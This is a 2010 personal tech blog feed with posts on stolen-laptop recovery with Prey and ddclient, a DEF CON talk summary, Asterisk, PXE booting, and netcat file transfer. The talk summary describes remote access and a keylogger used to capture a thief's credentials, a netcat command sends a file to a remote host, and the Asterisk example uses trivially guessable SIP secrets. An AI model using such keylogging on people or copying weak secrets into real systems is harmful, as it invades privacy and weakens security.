cron is not running it may not be configured to run on system bootup unless you purposely disabled it. You can add it to the startup scripts like so: &lt;span style="color: rgb(51, 255, 255);"&gt;# update-rc.d cron defaults&lt;/span&gt;. Then verify again that its running: &lt;span style="color: rgb(51, 255, 255);"&gt;# /etc/init.d/cron status&lt;/span&gt;&lt;/li&gt;&lt;li&gt;If the GUI configurator tool does not launch, you will have to manually configure the options. Edit the /usr/share/prey/config file (make a backup of original before). You would want to add the &lt;span style="color: rgb(51, 255, 51);"&gt;api_key&lt;/span&gt; and the &lt;span style="color: rgb(51, 255, 51);"&gt;device_key&lt;/span&gt; values that you get when you're in your prey account. I also set randomize_check_host='y' and commented all the ssh, smtp, sftp and scp options near the bottom as well.&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;The way the prey system works is that when your stolen laptop is connected to the internet, the prey client that was previously installed will be silently and stealthily be periodically phoning home to the mothership looking for instructions (Even when you are not connected to the internet it periodically attempts this as well).  The intervals in which prey does this "phoning home" can be configured on your machine "&lt;span style="color: rgb(255, 153, 0);"&gt;Goto start menu -&gt; All programs -&gt;" prey -&gt; Configuration&lt;/span&gt;". When it phones home it checks for instructions, specifically if that "Missing?" option that we set in &lt;span style="color: rgb(255, 153, 0);"&gt;step 10&lt;/span&gt; is set to on. If its set to off then it does nothing and goes back to sleep until its next periodic cycle. If when it phones home and see that the missing option is set to "on", then it starts collection the information that you configured in the modules (step 8) and send them to the prey servers where you and only you can review them when you log into your preyproject.com account. This information can include its location, hardware and network status and optionally trigger specific actions on it such as locking the computer (a pre-assigned password would be required to unlock it) or deleting browser cookies and cached stored passwords.&lt;br /&gt;&lt;br /&gt;Resources / Good Reading:&lt;br /&gt;&lt;a href="http://www.preyproject.com/"&gt;preyproject.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-5160249934010552967?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/5160249934010552967/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/11/preyprojectcom-your-stolen-laptop.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5160249934010552967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/5160249934010552967'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/11/preyprojectcom-your-stolen-laptop.html' title='preyproject.com - Things you can do to aid recovering one&apos;s stolen laptop part 2'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-650738852557081893</id><published>2010-11-18T05:42:00.000-08:00</published><updated>2010-11-19T12:18:53.353-08:00</updated><title type='text'>Things you can do to aid recovering one's stolen laptop part 1</title><content type='html'>I was inspired by a presentation i saw on securitytube.net, &lt;span style="font-weight: bold; color: rgb(255, 153, 0);"&gt;"Pwned by the owner"&lt;/span&gt;, presented at defcon 18 by &lt;span style="color: rgb(51, 255, 255);"&gt;Zoz&lt;/span&gt;. The presenter gave us his story of an incident where his laptop was stolen by an individual and the series of the things that he was able to do that led to its recovery. It was a very interesting and eye opening presentation that i would encourage all to watch.&lt;br /&gt;&lt;br /&gt;In summary, as a result of a few services that were running silently in the background, he already had a foot into his system. He had some sort of dyndns client running on his system that sent all updated public IP addresses to his dyndns account. What this means is that whenever his laptop was connected to internet at any location, the dyndns client will detect any changes to its public IP address and update your dyndns account record. With this IP address you can do a reverse lookup of the IP address, find out location information and the current ISP of the connected node (Can also contact the ISP and report this to  authorities). In some cases given the right software, if your laptop is connected via wifi, it is possible to get an idea , within reasonable distance, of where your laptop is on the map (like phone navigation with no built-in gps reciever).&lt;br /&gt;&lt;br /&gt;When Zoz discovered that his dyndns account recorded a new IP, he proceed to do nslookups  did pings at multiple times until he recieved a response (&lt;span style="color: rgb(255, 153, 0);"&gt;this can be scripted as well so you can be notified when the host is up. Think of a bash script with a cron job&lt;/span&gt;). When he finally got ping replys and his host was up, he then attempted to connect to some of the services that he had running on his box before it was stolen. These services included ssh and vnc. As it was his laptop he knew all the required passwords so he eventually had inside access. From then on here, he did some recon. He was able to find out pictures of the criminal that were stored on the hard drive. A history of his browser cookies and browser history cache gave us a profile of this criminal (seems like he was into dating sites and lots of porn). What was left to do at this point was to get a street address. Although the public IP can give you the city that the individual resides in, it more than likely will not give you more than that. Finding an exact location was next on Zoz's to do list.&lt;br /&gt;&lt;br /&gt;A keylogger was implemented on his system and as you would guess, all usernames and passwords were obtained for the sites he was registerd to, including porn sites and ebay. By investigating the return shipping address of his ebay account, the relevant addressing information was obtained and the authorities then were able to detain the thief.&lt;br /&gt;&lt;br /&gt;As soon as i completed watching this presentation i was a little paranoid and wanted to immediately prepare myself for such an incident. Zoz was lucky to obtain the Public IP from his dyndns provider. Without that, he would have no apparent lead and would've been left with a broken heart and lots of regret.&lt;br /&gt;&lt;br /&gt;Resources / Good Reading:&lt;br /&gt;&lt;a href="http://securitytube.net/Pwned-By-The-Owner-%28Defcon-18%29-video.aspx"&gt;pwned by the owner&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-650738852557081893?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/650738852557081893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/11/things-one-can-do-to-aid-recovering.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/650738852557081893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/650738852557081893'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/11/things-one-can-do-to-aid-recovering.html' title='Things you can do to aid recovering one&apos;s stolen laptop part 1'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-447323931486266520</id><published>2010-11-17T11:08:00.001-08:00</published><updated>2010-11-22T08:21:36.374-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ddclient'/><title type='text'>Dyndns client (ddclient) for linux</title><content type='html'>Ddclient is a small piece of software that you install to your computer that updates your dyndns account with your current IP address. If your external IP address changes, this program will automatically notify dyndns.com of the change and update your account information seamlessly. &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To install: &lt;span style="color: rgb(51, 255, 51);" class="Apple-style-span"&gt;# apt-get install ddclient&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After you install it and provide the relevant information on setup, you will want to verify and or modify the config file (&lt;span class="Apple-style-span" style="color: rgb(255, 102, 0);"&gt;/etc/ddclient.conf&lt;/span&gt;)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This is what mines look like&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);" class="Apple-style-span"&gt;# Configuration file for ddclient&lt;br /&gt;#&lt;br /&gt;# /etc/ddclient.conf&lt;br /&gt;&lt;br /&gt;daemon=300 # check every 300 seconds&lt;br /&gt;syslog=yes # log update msgs to syslog&lt;br /&gt;pid=/var/run/ddclient.pid&lt;br /&gt;ssl=yes&lt;br /&gt;protocol=dyndns2&lt;br /&gt;### Select one of these options to determine your IP address&lt;br /&gt;## via hardware interface (if you don't have a router/firewall)&lt;br /&gt;&lt;br /&gt;## For local IPs. You probly wouldn' have any use for this unless your computer was connected directly to the modem.&lt;br /&gt;#use=if, if=eth0&lt;br /&gt;## via our CheckIP server. This is a good choice that i use&lt;br /&gt;use=web, web=checkip.dyndns.com/, web-skip='Current IP Address: '&lt;br /&gt;&lt;br /&gt;## from the status page for a linksys router/firewall&lt;br /&gt;&lt;br /&gt;#use=linksys, fw=linksys, fw-login=admin, fw-p&lt;br /&gt;&lt;br /&gt;## settings for DynDNS account holders&lt;br /&gt;################################################################&lt;br /&gt;server=members.dyndns.org&lt;br /&gt;protocol=dyndns2&lt;br /&gt;login=[login]&lt;br /&gt;password=[password]&lt;br /&gt;yourdns.dyndns.org&lt;br /&gt;&lt;br /&gt;## settings for OpenDNS account holders&lt;br /&gt;######################################################&lt;br /&gt;#server=updates.opendns.com&lt;br /&gt;#protocol=dyndns2&lt;br /&gt;#login=[login]&lt;br /&gt;#password=[password]&lt;br /&gt;#yourdns.opendns.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div style="color: rgb(255, 102, 0);"&gt;&lt;span style="line-height: 18px;font-size:13px;" class="Apple-style-span" &gt;&lt;span style="font-size:0pt;"&gt;&lt;span style="font-size:0pt;"&gt;&lt;span style="font-size:0pt;"&gt;&lt;span style="font-size:0pt;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;You may also need to verify one setting in the &lt;span style="color: rgb(255, 102, 0);" class="Apple-style-span"&gt;/etc/defaults/ddclient&lt;/span&gt; file. You would want to confirm that "run_daemon=true" is set.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;After you made all changes, restart the daemon: &lt;span style="color: rgb(51, 255, 51);" class="Apple-style-span"&gt;# /etc/init.d/ddclient restart&lt;/span&gt; The service will start on system boot and continue to run in the background.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: rgb(51, 255, 51);"&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span"&gt;# /etc/init.d/ddclient status&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;Status of Dynamic DNS service update utility: ddclient is running&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;Every few minutes (configurable) the service will check to see if there is a change in your external IP address and if there is, it will send that updated information to your dyndns service provider using your already provided account credentials.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;You would then want to log into your dynamic DNS service provider account and verify that your external IP now is up to date.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;[update]&lt;/span&gt;&lt;br /&gt;I've ran into an issue where one of my ddclients refused to update my dyndns account. I ran it in debug mode like so:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; # sudo ddclient -debug -login=username -password='pass' -noquiet -verbose&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The ouput of the command was impying that my ip address hasn't changed so it was skipping the update process. However when i log into my dyndns account, my ip address was different. This is because im running the ddclient on a netbook that i take everywhere and when its connected to the internet, it updates that record. The reason that my other machine was not update my dyndns account is becasue of a cache file that was stored. By removing this cache file, it fixed my problem.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# sudo rm /var/cache/ddclient/ddclient.cache&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span style="font-size:0pt;"&gt;&lt;span style="font-size:0pt;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-447323931486266520?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/447323931486266520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/11/dyndns-client-ddclient.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/447323931486266520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/447323931486266520'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/11/dyndns-client-ddclient.html' title='Dyndns client (ddclient) for linux'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-8500657443022979261</id><published>2010-10-07T05:39:00.000-07:00</published><updated>2010-10-20T05:22:00.495-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='asterisk'/><title type='text'>Simple asterisk setup</title><content type='html'>Asterisk is an open source telephony system or PBX (private brach exchange). What this means is that you can setup your own telephony system at home, where you can call phones internal (like dialing extensions in a business) and also make outgoing calls to the outside world. The system can interface with almost any type of telephony hardware and can speak many communication protocols. &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Below is a quick list of commands and configs that i've used to install asterisk and connect two softphones to the system.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Tested on Backtrack 4 (Will be installing on a Ubuntu 10.04 later). &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Get the dependecies asterisk may require:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;# apt-get -y install build-essential libncurses5-dev libcurl3-dev libvorbis-dev libspeex-dev unixodbc unixodbc-dev libiksemel-dev linux- headers-`uname -r`&lt;/span&gt; &lt;div&gt;&lt;span style="font-size:+0;"&gt;&lt;span style="font-size:+0;"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:+0;"&gt;&lt;span style="font-size:+0;"&gt;&lt;span style="font-size:+0;"&gt;&lt;span style="font-size:+0;"&gt;Then insall asterisk:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-size:+0;"&gt;&lt;span style="font-size:+0;"&gt;&lt;span style="font-size:+0;"&gt;&lt;span style="font-size:+0;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;# cd /usr/src&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;# wget http://downloads.digium.com/pub/asterisk/asterisk-1.4-current.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;# tar -zxvf asterisk-1.4-current.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;# cd asterisk-1.4-current&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ff33;"&gt;# ./configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install &amp;amp;&amp;amp; make samples&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Then we can configure our sip.conf, and extensions.conf as follows&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color:#33ffff;"&gt;##### sip.conf #####&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color:#33ffff;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:+0;"&gt;&lt;span style="font-size:+0;"&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;[general] &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;port = 5060&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;bindaddr = 0.0.0.0 &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;context = default &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;span style="color:#33ffff;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;[100] &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;type=friend&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;context=incoming-calls&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;secret=100&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;host=dynamic&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;span style="color:#33ffff;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;[101] &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;type=friend &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;context=my-phones &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;secret=101&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color:#33ffff;"&gt;&lt;span class="Apple-style-span"&gt;host=dynamic&lt;/span&gt; &lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color:#33ffff;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color:#33ffff;"&gt;################&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style="color:#33ffff;"&gt;##### extensions.conf #####&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color:#33ffff;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;[others]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;span style="color:#33ffff;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;[incoming-calls]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;span style="color:#33ffff;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33ffff;"&gt;exten =&gt; 100,1,Dial(SIP/100,10)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color:#33ffff;"&gt;&lt;span class="Apple-style-span"&gt;exten =&gt; 101,1,Dial(SIP/100,10)&lt;/span&gt; &lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color:#33ffff;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color:#33ffff;"&gt;################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You will have to configure your softphones to match the settings in the sip.conf file&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;References / Good Reading:&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.the-asterisk-book.com/unstable/minimale-telefonanlage.html"&gt;http://www.the-asterisk-book.com/unstable/minimale-telefonanlage.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-8500657443022979261?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/8500657443022979261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/10/simple-asterisk-setup.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8500657443022979261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/8500657443022979261'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/10/simple-asterisk-setup.html' title='Simple asterisk setup'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-2952957061629689674</id><published>2010-09-20T05:36:00.000-07:00</published><updated>2010-09-22T05:06:12.999-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pxe'/><category scheme='http://www.blogger.com/atom/ns#' term='gpxe'/><title type='text'>Network Booting a linux machine (PXE)</title><content type='html'>What exactly is this that i speak of? Think of booting up a machine with no hard-disk or cd drive. Of course you can do this with USB but if you have 5 diskless and cd driveless machines, that would mean you would need 5 unique USB drives to boot us a live linux OS. However, with network booting you can boot such diskless machines from one central server. This means administration is reduced to one central machine that all machines can boot from. It is also possible to boot a machine over the internet as well.&lt;br /&gt;&lt;br /&gt;What i require on the server end is a pxe server. This will comprise of some services, mainly a tftp server and dhcp server and in some cases nfs or http server. In this example i will show you the most basic method for network booting a linux OS (tftp/dhcp server combo).&lt;br /&gt;&lt;br /&gt;Note: I recomment using tftpd-hpa server over atftpd that comes with backtrack 4. Atftpd has a file size limitation in which it can download. Not sure exatcly what it is but i ran into a problem in downloading the initial ramdisk for ubuntu with syslog complaining about atftpd's inability to download certain sized blocks.&lt;br /&gt;&lt;br /&gt;Will be using a simple linux OS called Tinycore&lt;br /&gt;&lt;br /&gt;dhcpd.conf :&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;allow booting;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;allow bootp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;default-lease-time 360;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;max-lease-time 720;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;subnet 10.0.0.0 netmask 255.255.255.0 {&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;range 10.0.0.2 10.0.0.5;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;option subnet-mask 255.255.255.0;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;option routers 10.0.0.1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;option broadcast-address 10.0.0.255;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;option domain-name-servers 10.0.0.1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;filename pxelinux.0;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;nexe-server 10.0.0.1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The filename portion is very important and is the bootloader that should be loaded over the network&lt;br /&gt;The next-server specifies the tftp server that houses the bootloader.&lt;br /&gt;&lt;br /&gt;Start up the dhcp server.&lt;br /&gt;&lt;br /&gt;Set up the tftpd server. I usually do this from the commandline&lt;br /&gt;&lt;span style="color:#33ff33;"&gt;# in.tftpd -l -v -s /root/tftpboot/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Copy the initrd and kernel files to the /root/tftpboot folder specified in your tftp service.&lt;br /&gt;You would need to get the bootloader, gpxelinux.0, from syslinux packages. Just download syslinux and copy this file to your /root/tftpboot/ directory. Create a directory "pxelinux.cfg" and create a default text file with the following.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;Prompt 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;Timeout 0&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;LABEL tinycore&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ff6600;"&gt;KERNEL vmlinuz&lt;br /&gt;APPEND initrd=initrd.gz &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now if your client's machines motherboard supports booting from lan, select this option in the boot menu and all should go well.&lt;br /&gt;For PC's that do not support booting from lan, you can burn a gpxe image onto your usb key so your usb key would act like the pxe client. Head over to &lt;a href="http://www.rom-o-matic.net/"&gt;http://www.rom-o-matic.net/&lt;/a&gt; and get a copy of the usb compatible gpxe image. Copy onto thumbdrive using dd:&lt;br /&gt;&lt;span style="color:#33ff33;"&gt;# dd if=gpxe.img of=/dev/___&lt;/span&gt;&lt;span style="font-size:0;"&gt;&lt;span style="font-size:0;"&gt;&lt;span style="font-size:0;"&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;Resouces/Good Reading: &lt;span class="Apple-style-span" &gt;http://etherboot.orghttp://syslinuxzytor.com/wiki/index.php/PXELINUX&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;span style="font-size:+0;"&gt;&lt;span style="font-size:+0;"&gt;&lt;a href="http://syslinuxzytor.com/wiki/index.php/PXELINUX"&gt;&lt;span style="color:#33ff33;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-2952957061629689674?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/2952957061629689674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/09/network-booting-linux-machine-pxe.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2952957061629689674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2952957061629689674'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/09/network-booting-linux-machine-pxe.html' title='Network Booting a linux machine (PXE)'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4630961671684975716</id><published>2010-09-12T07:39:00.000-07:00</published><updated>2010-09-12T08:50:38.191-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Netcat'/><title type='text'>Using Netcat and a symmetric algo (AES or 3DES) for secure commnuications</title><content type='html'>I was messing with netcat (again) transfering files back and forth from computer A to B. I know that the file transfer are indeed not secure and are transfered in plaintext and wanted to have netcat remedy this. Although there are secure alternatives to netcat (cryptcat and sbd), i love netcat, after all, netcat fathered most of these other tools. Plus i wanted a challenge. I wanted to use openssl's symmetric cyphers to encrypt data transfered through netcats client/server nodes.&lt;div&gt;Simple enough, it didn't take me long to put things together&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#FF6600;"&gt;Client:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# openssl enc -aes128 -nosalt -pass pass:mypass -in file.txt| nc -q 1 10.0.0.1 